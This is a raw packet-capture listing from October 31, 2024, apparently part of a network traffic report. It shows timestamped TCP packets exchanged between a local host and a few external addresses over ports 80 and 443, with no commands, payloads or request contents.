Oct 31, 2024 05:07:27.695226908 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695271015 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695339918 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.695350885 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695369005 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695379972 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695390940 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695404053 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695499897 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.695499897 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.695499897 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.695933104 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.695982933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696042061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.696070910 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696082115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696093082 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696116924 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.696154118 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.696398020 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696425915 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696436882 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696446896 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.696691990 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.737139940 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.737169027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.737189054 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.737216949 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.737216949 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.737266064 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.784149885 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.784164906 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.784176111 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.784225941 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.784225941 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812222004 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812225103 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812237978 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812249899 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812268972 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812316895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812406063 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812417030 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812428951 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812439919 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812460899 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812460899 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812535048 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812874079 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812886000 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812896967 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.812958002 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.812958002 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.813131094 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.813198090 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.813210964 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.813219070 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.813221931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.813234091 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.813260078 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.813260078 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.813304901 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.854274035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.854285002 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.854432106 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.888369083 CET	80	49925	185.215.113.206	192.168.2.4
Oct 31, 2024 05:07:27.888473988 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:27.891496897 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:27.896469116 CET	80	49925	185.215.113.206	192.168.2.4
Oct 31, 2024 05:07:27.900636911 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.900650978 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.900661945 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.900697947 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.900751114 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929128885 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929152012 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929162025 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929208994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929210901 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929210901 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929219961 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929231882 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929270983 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929270983 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929579973 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929626942 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929635048 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929637909 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929717064 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929898024 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929908037 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929919958 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929960966 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929965973 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929965973 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.929972887 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929985046 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.929997921 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.930023909 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.930046082 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.930838108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.930850029 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.930861950 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.930906057 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.930922985 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.014058113 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.014072895 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.014149904 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.018482924 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.018502951 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.018513918 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.018573046 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.018573046 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046554089 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046566010 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046577930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046588898 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046601057 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046612024 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046622038 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046624899 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046633959 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046658039 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046669960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046677113 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046706915 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046716928 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046727896 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046734095 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046746016 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046749115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.046775103 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.046801090 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.047331095 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.047342062 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.047393084 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.047404051 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.047421932 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.047430992 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.047430992 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.047431946 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.047480106 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.134641886 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.134655952 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.134668112 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.134718895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.134767056 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165184975 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165198088 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165204048 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165214062 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165221930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165234089 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165245056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165257931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165257931 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165296078 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165318966 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165374994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165386915 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165399075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165425062 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165451050 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165462017 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165468931 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165472031 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165484905 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165497065 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.165522099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165522099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.165535927 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.166258097 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.166282892 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.166295052 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.166301012 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.166320086 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.166331053 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.177061081 CET	80	49925	185.215.113.206	192.168.2.4
Oct 31, 2024 05:07:28.178188086 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:28.205702066 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.205713034 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.205795050 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.226352930 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.226464033 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.226545095 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.226759911 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.226773024 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.237066984 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.237093925 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.237185955 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.237709999 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.237725019 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.251516104 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.251530886 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.251540899 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.251624107 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.251647949 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.281940937 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282001972 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282012939 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282018900 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282097101 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282102108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282109022 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282152891 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282165051 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282176018 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282228947 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.282258034 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.282761097 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282772064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282782078 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.282890081 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.282973051 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283035994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283046961 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283057928 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283068895 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283092976 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.283128023 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.283535957 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283546925 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283556938 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.283596992 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.283596992 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.365767956 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.365792036 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.365803003 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.365875959 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.368535042 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.368546963 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.368557930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.368649006 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.368649006 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399108887 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399122000 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399127960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399142981 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399154902 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399166107 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399178028 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399188995 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399240971 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399435997 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399527073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399537086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399547100 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399586916 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399624109 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399769068 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399780989 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399796963 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399806976 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399818897 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.399836063 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399836063 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.399887085 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.400274038 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.400284052 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.400301933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.400311947 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.400329113 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.400329113 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.400363922 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.400363922 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.482676029 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.482688904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.482700109 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.482769012 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.482769012 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.485482931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.485493898 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.485505104 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.485557079 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.485557079 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.515836954 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.515849113 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.515866041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.515880108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.515889883 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.515909910 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.515909910 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.515950918 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516046047 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516103983 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516113043 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516184092 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516206026 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516216993 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516231060 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516264915 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516264915 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516283035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516329050 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516578913 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516590118 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516603947 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516644001 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516653061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516653061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516655922 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516669035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.516705036 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.516901016 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.517151117 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.517189026 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.517199993 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.517216921 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.517240047 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.517250061 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.517261982 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.517277002 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.517307043 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.517317057 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.599720001 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.599853992 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.599864960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.599941969 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.602416039 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.602459908 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.602471113 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.602479935 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.602510929 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.602531910 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633116961 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633136988 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633155107 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633167028 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633178949 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633189917 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633198977 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633202076 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633213043 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633224010 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633228064 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633244038 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633266926 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633398056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633450985 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633462906 CET	80	49913	185.215.113.16	192.168.2.4
